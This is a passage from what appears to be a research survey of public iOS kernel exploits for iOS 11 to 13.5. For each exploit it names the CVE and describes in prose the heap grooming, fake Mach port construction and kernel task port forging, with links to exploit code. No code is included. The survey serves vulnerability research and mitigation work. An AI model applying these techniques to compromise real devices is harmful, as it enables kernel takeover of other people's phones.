calling mach_port_get_context() on the fake port. The OSString containing the fake port is freed and reallocated as a normal Mach port. mach_port_request_notification() is called to put the address of a real Mach port in the fake port's ip_pdrequest field, and the OSString's contents are read via IOSurface to get the address. mach_port_request_notification() is used again to get the address of the fake port itself.\n\n** \n**\n\nThe string buffer is freed and reallocated such that mach_port_get_attributes() can be used as a 4-byte arbitrary read primitive, with the target address to read updateable via mach_port_set_context(). (This is analogous to the pid_for_task() technique, but with slightly different constraints.) Starting at the address of the real Mach port, kernel memory is read to find relevant kernel objects. The string buffer is freed and reallocated again with a fake task port sufficient to remap the string buffer into the process's address space. The fake port is updated via the mapping to yield a 7-argument arbitrary kernel function call primitive using iokit_user_client_trap(), and kernel functions are called to generate a fake kernel task port.\n\n** \n**\n\nReferences: [v0rtex writeup](<https://siguza.github.io/v0rtex/>), [v0rtex exploit code](<https://github.com/Siguza/v0rtex>).\n\n## Incomplete exploit for CVE-2018-4150 bpf-filter-poc - iOS 11.2.6\n\nVulnerability analysis and POC by Chris Wade ([@cmwdotme](<https://twitter.com/cmwdotme>)) at Corellium. Exploit by littlelailo ([@littlelailo](<https://twitter.com/littlelailo>)).\n\n** \n**\n\nThe vulnerability: CVE-2018-4150 is a race condition in XNU's BPF subsystem which leads to a linear heap buffer overflow due to a buffer length being increased without reallocating the corresponding buffer.\n\n** \n**\n\nExploit strategy: The race is triggered to incorrectly increase the length of the buffer without reallocating the buffer itself. A packet is sent and stored in the buffer, overflowing into a subsequent OOL ports array and inserting a pointer to a fake Mach port in userspace. Receiving the message containing the OOL ports yields a send right to the fake Mach port whose contents can be controlled directly.\n\n** \n**\n\nSubsequent exploit flow: The fake Mach port is converted into a clock port and clock_sleep_trap() is used to brute force a kernel image pointer. Then the port is converted into a fake task port to read memory via pid_for_task(). Kernel memory is scanned backwards from the leaked kernel image pointer until the kernel text base is located, breaking KASLR. The final part of the exploit is incomplete, but construction of a fake kernel task port at this stage would be straightforward and deterministic using existing code.\n\n** \n**\n\nNotes: The exploit does not work with PAN enabled.\n\n** \n**\n\nReferences: [CVE-2018-4150 POC](<https://github.com/Jailbreaks/CVE-2018-4150/blob/master/CVE-2018-4150.c>), [incomplete-exploit-for-CVE-2018-4150-bpf-filter-poc exploit code](<https://github.com/littlelailo/incomplete-exploit-for-CVE-2018-4150-bpf-filter-poc->).\n\n## multi_path - iOS 11.3.1\n\nBy Ian Beer.\n\n** \n**\n\nThe vulnerability: CVE-2018-4241 is an intra-object linear heap buffer overflow in XNU's mptcp_usr_connectx() due to incorrect bounds checking.\n\n** \n**\n\nExploit strategy: The kernel heap is groomed to place a 2048-byte ipc_kmsg struct at a 16 MB aligned address below the mptses structs (the object containing the overflow) associated with a few multipath TCP sockets. The vulnerability is used to overwrite the lower 3 bytes of the mpte_itfinfo pointer in the mptses struct with zeros and the socket is closed. This triggers a kfree() of the corrupted pointer, freeing the ipc_kmsg struct at the 16 MB alignment boundary. The freed ipc_kmsg slot is reallocated with sprayed pipe buffers. The vulnerability is triggered again to overwrite the lower 3 bytes of the mpte_itfinfo pointer in another mptses struct with zeros and the socket is closed, causing another kfree() of the same address. This frees the pipe buffer that was just allocated into that slot, leaving a dangling pipe buffer.\n\n** \n**\n\nSubsequent exploit flow: The slot is reallocated again with a preallocated ipc_kmsg. A userspace thread is crashed to cause a message to be stored in the preallocated ipc_kmsg buffer overlapping the pipe buffer; reading the pipe in userspace yields the contents of the ipc_kmsg struct, giving the address of the dangling pipe buffer/ipc_kmsg. The pipe is written to change the contents of the ipc_kmsg struct such that receiving the message yields a send right to a fake Mach port inside the pipe buffer. The exception message is received and the pipe is rewritten to convert the fake port into a kernel read primitive using pid_for_task(). Relevant kernel objects are located and the fake port is converted into a fake kernel task port.\n\n** \n**\n\nReferences: [multi_path exploit code](<https://bugs.chromium.org/p/project-zero/issues/detail?id=1558#c3>).\n\n## multipath_kfree - iOS 11.3.1\n\nBy John \u00c5kerblom ([@jaakerblom](<https://twitter.com/jaakerblom>)).\n\n** \n**\n\nThe vulnerability: CVE-2018-4241 (same as above).\n\n** \n**\n\nExploit strategy: The kernel heap is groomed to place preallocated 4096-byte ipc_kmsg structs near the mptses structs for a few multipath TCP sockets. The vulnerability is triggered twice to corrupt the lower 2 bytes of the mpte_itfinfo pointer in two mptses structs, such that closing the sockets results in kfree()s of the two corrupted pointers. Each pointer is corrupted to point 0x7a0 bytes into an ipc_kmsg allocation, creating 4096-byte holes spanning 2 messages. A Mach port containing one of the partially-freed ipc_kmsg structs (with the ipc_kmsg header intact but the message contents freed) is located by using mach_port_peek() to detect a corrupted msgh_id field. Once the port is found, the hole is reallocated by spraying preallocated ipc_kmsg structs and a message is placed in each. Filling the hole overlaps the original (partially freed) ipc_kmsg's Mach message contents with the ipc_kmsg header of the replacement, such that receiving the message on the original port reads the contents of the replacement ipc_kmsg header. The header contains a pointer to itself, disclosing the address of the replacement ipc_kmsg allocation. The vulnerability is triggered a third time to free the replacement message, leaving a partially freed preallocated ipc_kmsg at a known address.\n\n** \n**\n\nSubsequent exploit flow: The hole in the corrupted ipc_kmsg is reallocated by spraying AGXCommandQueue user clients. A message is received on the Mach port in userspace, copying out the contents of the AGXCommandQueue object, from which the vtable is used to determine the KASLR slide. Then the corrupted ipc_kmsg is freed and reallocated by spraying more preallocated ipc_kmsg structs with a slightly different internal layout allowing more control over the contents. A message is placed in each of the just-sprayed ipc_kmsg structs to modify the overlapping AGXCommandQueue and hijack a virtual method call; the hijacked virtual method uses the OSSerializer::serialize() gadget to call copyout(), which is used to identify which of the sprayed AGXCommandQueue user clients overlaps the slot from the corrupted ipc_kmsg. The contents of each of the just-sprayed preallocated ipc_kmsg structs is updated in turn to identify which port corresponds to the corrupted ipc_kmsg. The preallocated port and user client port are used together to build a 3-argument arbitrary kernel function call primitive by updating the contents of the AGXCommandQueue object through an exception message sent to the preallocated port.\n\n** \n**\n\nReferences: [multipath_kfree exploit code](<https://github.com/potmdehex/multipath_kfree>).\n\n## empty_list - iOS 11.3.1\n\nBy Ian Beer.\n\n** \n**\n\nThe vulnerability: CVE-2018-4243 is a partially controlled 8-byte heap out-of-bounds write in XNU's getvolattrlist() due to incorrect bounds checking.\n\n** \n**\n\nExploit strategy: Due to significant triggering constraints, the vulnerability is treated as an 8-byte heap out-of-bounds write of zeros off the end of a kalloc.16 allocation. The kernel heap is groomed into a pattern of alternating blocks for the zones of kalloc.16 and ipc.ports, and further grooming reverses the kalloc.16 freelist. The vulnerability is repeatedly triggered after freeing various kalloc.16 allocations until a kalloc.16 allocation at the end of a block is overflowed, corrupting the first 8 bytes of the first ipc_port on the subsequent page. The corrupted port is freed by calling mach_port_set_attributes(), leaving the process holding a receive right to a dangling Mach port.\n\n** \n**\n\nSubsequent exploit flow: A zone garbage collection is forced and the dangling port is reallocated with an OOL ports array containing a pointer to another Mach port overlapping the ip_context field, so that the address of the other port is retrieved by calling mach_port_get_context(). The dangling port is then reallocated with pipe buffers and converted into a kernel read primitive using pid_for_task(). Using the address of the other port as a starting point, relevant kernel objects are located. Finally, the fake port is converted into a fake kernel task port.\n\n** \n**\n\nReferences: [empty_list exploit code](<https://bugs.chromium.org/p/project-zero/issues/detail?id=1564#c10>).\n\n## In-the-wild iOS Exploit Chain 3 - iOS 11.4\n\nDiscovered in-the-wild by Cl\u00e9ment Lecigne. Analyzed by Ian Beer and Samuel Gro\u00df.\n\n** \n**\n\nThe vulnerability: The vulnerability is a double-free reachable from AppleVXD393UserClient::DestroyDecoder() (the class name varies by hardware) due to failing to clear a freed pointer.\n\n** \n**\n\nExploit strategy: The target 56-byte allocation is created and freed, leaving the dangling pointer intact. The slot is reallocated with an OSData buffer using an IOSurface property spray. The vulnerable method is called again to free the buffer, leaving a dangling OSData buffer. The slot is reallocated again with an OOL ports array containing a single target Mach port pointer and the contents are read in userspace via IOSurface properties, yielding the address of the port. The vulnerable method is called once more to free the OOL ports and the slot is reallocated with another OSData buffer containing two pointers to the Mach port. The holding port holding the OOL descriptor is destroyed, dropping two references to the Mach port. This leaves the process with a receive right to a dangling Mach port at a known address.\n\n** \n**\n\nSubsequent exploit flow: A zone garbage collection is performed and the dangling port is reallocated with a segmented OOL memory spray such that calling mach_port_get_context() can identify which segment of the spray reallocated the port. That segment is freed and the dangling port is reallocated with pipe buffers, giving a controlled fake Mach port at a known address. The fake port is converted into a clock port and clock_sleep_trap() is used to brute force KASLR. The fake port is next converted into a fake task port and a kernel read primitive is established using pid_for_task(). Finally, the fake port is converted into a fake kernel task port.\n\n** \n**\n\nReferences: [In-the-wild iOS Exploit Chain 3 - XPC + VXD393/D5500 repeated IOFree](<https://googleprojectzero.blogspot.com/2019/08/in-wild-ios-exploit-chain-3.html>).\n\n## Spice - iOS 11.4.1\n\nVulnerability analysis and POC by Luca Moro ([@JohnCool__](<https://twitter.com/JohnCool__>)) at Synacktiv. Exploit by Siguza, Viktor Oreshkin ([@stek29](<https://twitter.com/stek29>)), Ben Sparkes ([@iBSparkes](<https://twitter.com/ibsparkes>)), and littlelailo.\n\n** \n**\n\nThe vulnerability: The \"LightSpeed\" vulnerability (possibly CVE-2018-4344) is a race condition in XNU's lio_listio() due to improper state management that results in a use-after-free.\n\n** \n**\n\nExploit strategy: The vulnerable function is called in a loop in one thread to repeatedly trigger the vulnerability by allocating a buffer from kalloc.16 and racing to free the buffer twice. Another thread repeatedly sends a message containing an OOL ports array allocated from kalloc.16, immediately sprays a large number of kalloc.16 allocations containing a pointer to a fake Mach port in userspace via IOSurface properties, and receives the OOL ports. When the race is won, the double-free can cause the OOL ports array to be freed, and the subsequent spray can reallocate the slot with a fake OOL ports array. Receiving the OOL ports in userspace gives a receive right to a fake Mach port whose contents can be controlled directly.\n\n** \n**\n\nSubsequent exploit flow: A second Mach port is registered as a notification port on the fake port, disclosing the address of the second port in the fake port's ip_pdrequest field. The fake port is modified to construct a kernel read primitive using mach_port_get_attributes(). Starting from the disclosed port pointer, kernel memory is read to find relevant kernel objects. The fake port is converted into a fake user client port providing a 7-argument arbitrary kernel function call primitive using iokit_user_client_trap(). Finally, a fake kernel task port is constructed.\n\n** \n**\n\nNotes: The exploit does not work with PAN enabled.\n\n** \n**\n\nThe analysis was performed on the implementation in the file pwn.m, since this seems to provide the most direct comparison to the other exploit implementations in this list.\n\n** \n**\n\nReferences: [LightSpeed, a race for an iOS/macOS sandbox escape](<https://www.synacktiv.com/posts/exploit/lightspeed-a-race-for-an-iosmacos-sandbox-escape.html>), [Spice exploit code](<https://github.com/JakeBlair420/Spice>).\n\n## treadm1ll - iOS 11.4.1\n\nVulnerability analysis and POC by Luca Moro. Exploit by Tihmstar ([@tihmstar](<https://twitter.com/tihmstar>)).\n\n** \n**\n\nThe vulnerability: The \"LightSpeed\" vulnerability (same as above).\n\n** \n**\n\nExploit strategy: The vulnerable function is called in a loop in one thread to repeatedly trigger the vulnerability by allocating a buffer from kalloc.16 and racing to free the buffer twice. Another thread sends a fixed number of messages containing an OOL ports array allocated from kalloc.16. When the race is won, the double-free can cause the OOL ports array to be freed, leaving a dangling OOL ports array pointer in some messages. The first thread stops triggering the vulnerability and a large number of IOSurface objects are created. Each message is received in turn and a large number of kalloc.16 allocations containing a pointer to a fake Mach port in userspace are sprayed using IOSurface properties. Each spray can reallocate a slot from a dangling OOL ports array with a fake OOL ports array. Successfully receiving the OOL ports in userspace gives a receive right to a fake Mach port whose contents can be controlled directly.\n\n** \n**\n\nSubsequent exploit flow: A second Mach port is registered as a notification port on the fake port, disclosing the address of the second port in the fake port's ip_pdrequest field. The fake port is modified to construct a kernel read primitive using pid_for_task(). Starting from the disclosed port pointer, kernel memory is read to find relevant kernel objects. The fake port is converted into a fake user client port providing a 7-argument arbitrary kernel function call primitive using iokit_user_client_trap(). Finally, a fake kernel task port is constructed.\n\n** \n**\n\nNotes: The exploit does not work with PAN enabled.\n\n** \n**\n\nReferences: [LightSpeed, a race for an iOS/macOS sandbox escape](<https://www.synacktiv.com/posts/exploit/lightspeed-a-race-for-an-iosmacos-sandbox-escape.html>), [treadm1ll exploit code](<https://github.com/tihmstar/treadm1ll>).\n\n## Chaos - iOS 12.1.2\n\nBy Qixun Zhao ([@S0rryMybad](<https://twitter.com/S0rryMybad>)) of Qihoo 360 Vulcan Team.\n\n** \n**\n\nThe vulnerability: CVE-2019-6225 is a use-after-free due to XNU's task_swap_mach_voucher() failing to comply with MIG lifetime semantics that results in an extra reference being added or dropped on an ipc_voucher object.\n\n** \n**\n\nExploit strategy: A large number of ipc_voucher objects are sprayed and the vulnerability is triggered twice to decrease the reference count on a voucher and free it. The remaining vouchers on the page are freed and a zone garbage collection is forced, leaving a dangling ipc_voucher pointer in the thread's ith_voucher field.\n\n** \n**\n\nSubsequent exploit flow: The dangling voucher is reallocated by an OSString buffer using an IOSurface property spray. thread_get_mach_voucher() is called to obtain a send right to a newly allocated voucher port for the voucher, which causes a pointer to the voucher port to be stored in the fake voucher overlapping the OSString buffer; reading the OSString property discloses the address of the voucher port. The OSString overlapping the fake voucher is freed and reallocated with a large spray that both forces the allocation of controlled data containing a fake Mach port at a hardcoded address and updates the fake voucher's iv_port pointer to point to the fake Mach port. thread_get_mach_voucher() is called again to obtain a send right to the fake port and to identify which OSString buffer contains the fake Mach port. This leaves the process with a send right to a fake Mach port in an IOSurface property buffer at a known address (roughly equivalent to a dangling Mach port). A kernel read primitive is built by reallocating the OSString buffer to convert the fake port into a fake task port and calling pid_for_task() to read arbitrary memory. Relevant kernel objects are located and the fake port is converted into a fake map port to remap the fake port into userspace, removing the need to reallocate it. Finally the fake port is converted into a fake kernel task port.\n\n** \n**\n\nNotes: The A12 introduced PAC, which limits the ability to use certain exploitation techniques involving code pointers (e.g. vtable hijacking). Also, iOS 12 introduced a mitigation in ipc_port_finalize() against freeing a port while it is still active (i.e. hasn't been destroyed, for example because a process still holds a right to it). This changed the common structure of past exploits whereby a port would be freed while a process still held a right to it. Possibly as a result, obtaining a right to a fake port in iOS 12+ exploits seems to occur later in the flow than in earlier exploits.\n\n** \n**\n\nReferences: [IPC Voucher UaF Remote Jailbreak Stage 2 (EN)](<https://blogs.360.cn/post/IPC%20Voucher%20UaF%20Remote%20Jailbreak%20Stage%202%20\\(EN\\).html>).\n\n## voucher_swap - iOS 12.1.2\n\nBy Brandon Azad ([@_bazad](<https://twitter.com/_bazad>)) of Google Project Zero.\n\n** \n**\n\nThe vulnerability: CVE-2019-6225 (same as above).\n\n** \n**\n\nExploit strategy: The kernel heap is groomed to put a block of ipc_port allocations directly before a block of pipe buffers. A large number of ipc_voucher objects are sprayed and the vulnerability is triggered to decrease the reference count on a voucher and free it. The remaining vouchers on the page are freed and a zone garbage collection is forced, leaving a dangling ipc_voucher pointer in the thread's ith_voucher field.\n\n** \n**\n\nSubsequent exploit flow: The dangling voucher is reallocated with an OOL ports array containing a pointer to a previously-allocated ipc_port overlapping the voucher's iv_refs field. A send right to the voucher port is retrieved by calling thread_get_mach_voucher() and the voucher's reference count is increased by repeatedly calling the vulnerable function, updating the overlapping ipc_port pointer to point into the pipe buffers. Receiving the OOL ports yields a send right to a fake Mach port whose contents can be controlled directly. mach_port_request_notification() is called to insert a pointer to an array containing a pointer to another Mach port in the fake port's ip_requests field. A kernel read primitive is built using pid_for_task(), and the address of the other Mach port is read to compute the address of the fake port. Relevant kernel objects are located and a fake kernel task port is constructed.\n\n** \n**\n\nReferences: [voucher_swap: Exploiting MIG reference counting in iOS 12](<https://googleprojectzero.blogspot.com/2019/01/voucherswap-exploiting-mig-reference.html>), [voucher_swap exploit code](<https://bugs.chromium.org/p/project-zero/issues/detail?id=1731#c10>).\n\n## machswap2 - iOS 12.1.2\n\nBy Ben Sparkes.\n\n** \n**\n\nThe vulnerability: CVE-2019-6225 (same as above).\n\n** \n**\n\nExploit strategy: A large number of ipc_voucher objects are sprayed and the vulnerability is triggered twice to decrease the reference count on a voucher and free it. The remaining vouchers on the page are freed and a zone garbage collection is forced, leaving a dangling ipc_voucher pointer in the thread's ith_voucher field.\n\n** \n**\n\nSubsequent exploit flow: The dangling voucher is reallocated by an OSString buffer containing a fake voucher using an IOSurface property spray. thread_get_mach_voucher() is called to obtain a send right to a newly allocated voucher port for the voucher, which causes a pointer to the voucher port to be stored in the fake voucher overlapping the OSString buffer; reading the OSString property discloses the address of the voucher port. Pipe buffers containing fake task ports are sprayed to land roughly 1 MB after the disclosed port address. The OSString overlapping the fake voucher is freed and reallocated to update the fake voucher's iv_port pointer to point to point into the pipe buffers. thread_get_mach_voucher() is called again to retrieve the updated voucher port, yielding a send right to a fake Mach port at a known address whose contents can be controlled directly. The fake port is converted into a fake task port and a kernel read primitive is established using pid_for_task(). Relevant kernel objects are located and a fake kernel task port is constructed.\n\n** \n**\n\nNotes: The author developed two versions of this exploit: one for pre-PAN devices, and one for PAN-enabled devices. The exploit presented here is for PAN-enabled devices.\n\n** \n**\n\nReferences: [machswap2 exploit code](<https://github.com/PsychoTea/machswap2>), [MachSwap: an iOS 12 Kernel Exploit](<https://sparkes.zone/blog/ios/2019/04/30/machswap-ios-12-kernel-exploit.html>), [machswap exploit code](<https://github.com/PsychoTea/machswap>).\n\n## In-the-wild iOS Exploit Chain 5 - iOS 12.1.2\n\nDiscovered in-the-wild by Cl\u00e9ment Lecigne. Analyzed by Ian Beer and Samuel Gro\u00df.\n\n** \n**\n\nThe vulnerability: CVE-2019-6225 (same as above).\n\n** \n**\n\nExploit strategy: A large number of ipc_voucher objects are sprayed and the vulnerability is triggered to decrease the reference count on a voucher and free it. The remaining vouchers on the page are freed and a zone garbage collection is forced, leaving a dangling ipc_voucher pointer in the thread's ith_voucher field.\n\n** \n**\n\nSubsequent exploit flow: The dangling voucher is reallocated by an OOL memory spray. A large number of Mach ports are allocated and then thread_get_mach_voucher() is called to obtain a send right to a newly allocated voucher port for the voucher, which causes a pointer to the voucher port to be stored in the fake voucher overlapping the OOL ports array. More ports are allocated and then the OOL memory spray is received, disclosing the address of the voucher port for the fake voucher. The dangling voucher is reallocated again with another OOL memory spray that updates the voucher's iv_port pointer to the subsequent page. The Mach ports are destroyed and a zone garbage collection is forced, leaving the fake voucher holding a pointer to a dangling port. The dangling port is reallocated with pipe buffers. Finally, thread_get_mach_voucher() is called, yielding a send right to a fake Mach port at a known address whose contents can be controlled directly. The fake port is converted into a fake task port and a kernel read primitive is established using pid_for_task(). Relevant kernel objects are located and the fake port is converted into a fake kernel task port.\n\n** \n**\n\nReferences: [In-the-wild iOS Exploit Chain 5 - task_swap_mach_voucher](<https://googleprojectzero.blogspot.com/2019/08/in-wild-ios-exploit-chain-5.html>).\n\n## In-the-wild iOS Exploit Chain 4 - iOS 12.1.3\n\nDiscovered in-the-wild by Cl\u00e9ment Lecigne. Analyzed by Ian Beer and Samuel Gro\u00df. Also reported by an anonymous researcher.\n\n** \n**\n\nThe vulnerability: CVE-2019-7287 is a linear heap buffer overflow in the IOKit function ProvInfoIOKitUserClient::ucEncryptSUInfo() due to an unchecked memcpy().\n\n** \n**\n\nExploit strategy: The kernel heap is groomed to place holes in kalloc.4096 before an OOL ports array and holes in kalloc.6144 before an OSData buffer accessible via IOSurface properties. The vulnerability is triggered with the source allocated from kalloc.4096 and the destination allocated from kalloc.6144, causing the address of a target Mach port to be copied into the OSData buffer. The OSData buffer is then read, disclosing the address of the target port. The heap is groomed again to place holes in kalloc.4096 before an OOL memory buffer and in kalloc.6144 before an OOL ports array. The vulnerability is triggered again to insert a pointer to the target port into the OOL ports array. The target port is freed and a zone garbage collection is forced, leaving a dangling port pointer in the OOL ports array. The dangling port is reallocated with pipe buffers and the OOL ports are received, giving a receive right to a fake Mach port at a known address whose contents can be controlled directly.\n\n** \n**\n\nSubsequent exploit flow: The fake port is converted into a fake clock port and clock_sleep_trap() is used to brute force KASLR. The fake port is converted into a fake task port and a kernel read primitive is established using pid_for_task(). Relevant kernel objects are located and the fake port is converted into a fake kernel task port.\n\n** \n**\n\nReferences: [In-the-wild iOS Exploit Chain 4 - cfprefsd + ProvInfoIOKit](<https://googleprojectzero.blogspot.com/2019/08/in-wild-ios-exploit-chain-4.html>), [About the security content of iOS 12.1.4](<https://support.apple.com/lt-lt/HT209520>).\n\n## Attacking iPhone XS Max - iOS 12.1.4\n\nBy Tielei Wang ([@wangtielei](<https://twitter.com/wangtielei>)) and Hao Xu ([@windknown](<https://twitter.com/windknown>)).\n\n** \n**\n\nThe vulnerability: The vulnerability is a race condition in XNU's UNIX domain socket bind implementation due to the temporary unlock antipattern that results in a use-after-free.\n\n** \n**\n\nExploit strategy: Sockets are sprayed and the vulnerability is triggered to leave a pointer to a dangling socket pointer in a vnode struct. The sockets are closed, a zone garbage collection is forced, and the sockets are reallocated with controlled data via an OSData spray (possibly an IOSurface property spray). The fake socket is constructed to have a reference count of 0. The use after free is triggered to call socket_unlock() on the fake socket, which causes the fake socket/OSData buffer to be freed using kfree(). This leaves a dangling OSData buffer accessible using unspecified means.\n\n** \n**\n\nSubsequent exploit flow: The dangling OSData buffer is reallocated with an OOL ports array and the OSData buffer is freed, leaving a dangling OOL ports array. Kernel memory is sprayed to place a fake Mach port at a hardcoded address (or an information leak is used) and the OOL ports array is reallocated with another OSData buffer, inserting a pointer to the fake Mach port into the OOL ports array. The OOL ports are received, yielding a send or receive right to the fake Mach port at a known address. The fake port is converted into a fake kernel task port by unspecified means.\n\n** \n**\n\nNotes: The only reference for this exploit is a BlackHat presentation, hence the uncertainties in the explanations above.\n\n** \n**\n\nThe authors developed two versions of this exploit: one for non-PAC devices, and one for PAC-enabled devices. The exploit presented here is for PAC-enabled devices. The non-PAC exploit is substantially simpler (hijacking a function pointer used by socket_lock()).\n\n** \n**\n\nReferences: [Attacking iPhone XS Max](<https://i.blackhat.com/USA-19/Thursday/us-19-Wang-Attacking-IPhone-XS-Max.pdf>).\n\n## SockPuppet - iOS 12.2 and iOS 12.4\n\nBy Ned Williamson ([@nedwilliamson](<https://twitter.com/nedwilliamson>)) working with Google Project Zero.\n\n** \n**\n\nThe vulnerability: CVE-2019-8605 is a use-after-free due to XNU's in6_pcbdetach() failing to clear a freed pointer.\n\n** \n**\n\nExploit strategy: Safe arbitrary read, arbitrary kfree(), and arbitrary Mach port address disclosure primitives are constructed over the vulnerability.\n\n** \n**\n\nThe arbitrary read primitive: The vulnerability is triggered multiple times to create a number of dangling ip6_pktopts structs associated with sockets. The dangling ip6_pktopts are reallocated with an OSData buffer spray via IOSurface properties such that ip6po_minmtu is set to a known value and ip6po_pktinfo is set to the address to read. The ip6po_minmtu field is checked via getsockopt(), and if correct, getsockopt(IPV6_PKTINFO) is called to read 20 bytes of data from the address pointed to by ip6po_pktinfo.\n\n** \n**\n\nThe arbitrary kfree() primitive: The vulnerability is triggered multiple times to create a number of dangling ip6_pktopts structs associated with sockets. The dangling ip6_pktopts are reallocated with an OSData buffer spray via IOSurface properties such that ip6po_minmtu is set to a known value and ip6po_pktinfo is set to the address to free. The ip6po_minmtu field is checked via getsockopt(), and if correct, setsockopt(IPV6_PKTINFO) is called to invoke kfree_addr() on the ip6po_pktinfo pointer.\n\n** \n**\n\nThe arbitrary Mach port address disclosure primitive: The vulnerability is triggered multiple times to create a number of dangling ip6_pktopts structs associated with sockets. The dangling ip6_pktopts are reallocated with an OOL ports array spray containing pointers to the target port. The ip6po_minmtu and ip6po_prefer_tempaddr fields are read via getsockopt(), disclosing the value of the target port pointer. The port is checked to be of the expected type using the arbitrary read primitive.\n\n** \n**\n\nSubsequent exploit flow: The Mach port address disclosure primitive is used to disclose the address of the current task. Two pipes are created and the addresses of the pipe buffers in the kernel are found using the kernel read primitive. Relevant kernel objects are located and a fake kernel task port is constructed in one of the pipe buffers. The arbitrary kfree() primitive is used to free the pipe buffer for the other pipe, and the pipe buffer is reallocated by spraying OOL ports arrays. The pipe is then written to insert a pointer to the fake kernel task port into the OOL ports array, and the OOL ports are received, yielding a fake kernel task port.\n\n** \n**\n\nNotes: Unlike most other exploits on this list which are structured linearly, SockPuppet is structured hierarchically, building on the same primitives throughout. This distinct structure is likely due to the power and stability of the underlying vulnerability: the bug directly provides both an arbitrary read and an arbitrary free primitive, and in practice both primitives are 100% safe and reliable because it is possible to check that the reallocation is successful. However, this structure means that there is no clear temporal boundary in the high-level exploit flow between the vulnerability-specific and generic exploitation. Instead, that boundary occurs between conceptual layers in the exploit code.\n\n** \n**\n\nThe SockPuppet bug was fixed in iOS 12.3 but reintroduced in iOS 12.4.\n\n** \n**\n\nReferences: [SockPuppet: A Walkthrough of a Kernel Exploit for iOS 12.4](<https://googleprojectzero.blogspot.com/2019/12/sockpuppet-walkthrough-of-kernel.html>), [SockPuppet exploit code](<https://bugs.chromium.org/p/project-zero/issues/detail?id=1806#c13>).\n\n## AppleAVE2Driver exploit - iOS 12.4.1\n\nBy 08Tc3wBB ([@08Tc3wBB](<https://twitter.com/08Tc3wBB>)).\n\n** \n**\n\nThe vulnerability: CVE-2019-8795 is a memory corruption in AppleAVE2Driver whereby improper bounds checking leads to processing of out-of-bounds data, eventually resulting in a controlled virtual method call or arbitrary kfree(). CVE-2019-8794 is a kernel memory disclosure in AppleSPUProfileDriver due to uninitialized stack data being shared with userspace.\n\n** \n**\n\nExploit strategy: The KASLR slide is discovered using the AppleSPUProfileDriver vulnerability. OSData buffers containing fake task ports are sprayed using IOSurface properties. The vulnerability is triggered to free an OSData buffer at a hardcoded address, leaving a dangling OSData buffer accessible via IOSurface properties.\n\n** \n**\n\nSubsequent exploit flow: The dangling OSData buffer is reallocated with an OOL ports array and the OSData buffer is freed, leaving a dangling OOL ports array. The OOL ports array is reallocated with another OSData buffer, inserting pointers to the fake task ports sprayed earlier into the OOL ports array. The OOL ports are received, yielding send rights to the fake task ports, and pid_for_task() is used to read pointers to relevant kernel objects. The OSData buffer is freed and reallocated to convert one of the fake ports into a fake kernel task port.\n\n** \n**\n\nNotes: iOS versions up to 13.1.3 were vulnerable, but the exploit presented here targeted iOS 12.4.1.\n\n** \n**\n\nThe author developed two versions of this exploit: one for non-PAC devices, and one for PAC-enabled devices. The exploit presented here is for PAC-enabled devices.\n\n** \n**\n\nReferences: [ZecOps_FreeTheSandbox_iOS_PAC_TFP0_POC_BEQ_12_4_2 exploit code](<https://github.com/ZecOps/public/tree/master/ZecOps_FreeTheSandbox_iOS_PAC_TFP0_POC_BEQ_12_4_2>), [ZecOps Task-For-Pwn 0 Bounty: TFP0 POC on PAC-Enabled iOS Devices <= 12.4.2](<https://blog.zecops.com/vulnerabilities/releasing-first-public-task-for-pwn0-tfp0-granting-poc-on-ios/>), [SSD Advisory \u2013 iOS Jailbreak via Sandbox Escape and Kernel R/W leading to RCE](<https://ssd-disclosure.com/ssd-advisory-via-ios-jailbreak-sandbox-escape-and-kernel-r-w-leading-to-rce/>), [SSD Advisory 4066 exploit code](<https://github.com/ssd-secure-disclosure/advisories/tree/master/SSD%20Advisory%20-%204066>), [About the security content of iOS 13.2 and iPadOS 13.2](<https://support.apple.com/en-il/HT210721>).\n\n## oob_timestamp - iOS 13.3\n\nBy Brandon Azad.\n\n** \n**\n\nThe vulnerability: CVE-2020-3837 is a linear heap out-of-bounds write of up to 8 bytes of timestamp data in IOKit's IOAccelCommandQueue2::processSegmentKernelCommand() due to incorrect bounds checking.\n\n** \n**\n\nExploit strategy: The kernel map is groomed to lay out two 96 MB shared memory regions, an 8-page ipc_kmsg, an 8-page OOL ports array, and 80 MB of OSData buffers sprayed via IOSurface properties. The number of bytes to overflow is computed based on the current time and the overflow is triggered to corrupt the ipc_kmsg's ikm_size field, such that the ipc_kmsg now has a size of between 16 pages and 80 MB. The port containing the ipc_kmsg is destroyed, freeing the corrupted ipc_kmsg, the OOL ports array, and some of the subsequent OSData buffers. More OSData buffers are sprayed via IOSurface to reallocate the OOL ports array containing a pointer to a fake Mach port at a hardcoded address that is likely to overlap one of the 96 MB shared memory regions. The OOL ports are received, producing a receive right to a fake Mach port at a known address whose contents can be controlled directly.\n\n** \n**\n\nSubsequent exploit flow: A kernel memory read primitive is constructed using pid_for_task(). Relevant kernel objects are located and a fake kernel task port is constructed.\n\n** \n**\n\nNotes: iOS 13 introduced zone_require, a mitigation that checks whether certain objects are allocated from the expected zalloc zone before they are used. An oversight in the implementation led to a trivial bypass when objects are allocated outside of the zalloc_map.\n\n** \n**\n\nReferences: [oob_timestamp exploit code](<https://bugs.chromium.org/p/project-zero/issues/detail?id=1986#c5>). \n\n\n## tachy0n (unc0ver 5.0.0) - iOS 13.5\n\nBy Pwn20wnd ([@Pwn20wnd](<https://twitter.com/Pwn20wnd>)), unc0ver Team ([@unc0verTeam](<https://twitter.com/unc0verTeam>)), and Siguza.\n\n** \n**\n\nThe vulnerability: The \"LightSpeed\" vulnerability (see \"Spice\" above; reintroduced in iOS 13).\n\n** \n**\n\nExploit strategy: (Analysis pending.) The vulnerable function is called in a loop in one thread to repeatedly trigger the vulnerability by allocating a buffer from kalloc.16 and racing to free the buffer twice. Preliminary results suggest that the freed kalloc.16 slot is reallocated by OSData buffers sprayed via IOSurface properties.\n\n** \n**\n\nSubsequent exploit flow: (Analysis pending.)\n\n** \n**\n\nNotes: The unc0ver exploit was released as an obfuscated binary; a more complete analysis of the exploit strategy and exploit flow will be released after the [tachy0n](<https://twitter.com/s1guza/status/1266433756270866433>) exploit code is published.\n\n** \n**\n\nWhile iOS 12 patched the LightSpeed vulnerability, the patch did not address the root cause and created a memory leak. This memory leak was fixed in iOS 13, but the change also reintroduced the old (vulnerable) behavior. This is a regression, not a variant: the original LightSpeed POC does trigger on iOS 13.\n\n \nReferences: [LightSpeed, a race for an iOS/macOS sandbox escape](<https://www.synacktiv.com/posts/exploit/lightspeed-a-race-for-an-iosmacos-sandbox-escape.html>), 